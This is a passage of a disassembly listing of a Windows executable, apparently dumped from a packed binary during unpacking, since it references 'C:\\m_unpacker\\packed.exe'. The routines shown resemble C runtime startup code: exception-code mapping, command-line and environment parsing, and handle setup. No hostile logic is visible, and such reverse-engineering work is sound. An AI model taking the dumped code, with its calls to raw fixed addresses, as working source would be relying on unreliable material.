		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2840000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DB350, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43C940
		mov	edx, dword_43C944
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43C8D0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43C94C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43C94C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43C94C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43C94C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43C94C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43C94C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43C94C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43C94C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43C94C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43C94C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DB350, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2640459h
		nop


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C948
		cmp	dword_43C8C8, edx
		push	esi
		mov	eax, offset dword_43C8C8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8C8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8C8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DC914, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DC90C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB2E8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB2A0, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB2E8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB2E8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB2E8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DC910, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DC914, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		mov	eax, dword_4DC90C
		mov	off_4DB2B0, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB298, esi
		pop	edi
		pop	esi
		mov	dword_4DB294, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DC7E1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DC7E1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DB458
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DB458, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 2640000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DB458, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		nop
		call	near ptr 264030Fh
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 2640000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		call	near ptr 264036Bh
		nop
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DC5C0, esi
		mov	dword_4DC6C0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DC5C0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 28C0000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DC6C0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DC5C4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DC6C0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DC6C0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DC6C0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 263023Eh
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DC5C0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		call	near ptr 2630AD1h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 263023Eh
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DC6C0
		nop
		call	near ptr 2630C9Bh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB2F0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A2C4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DB45C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


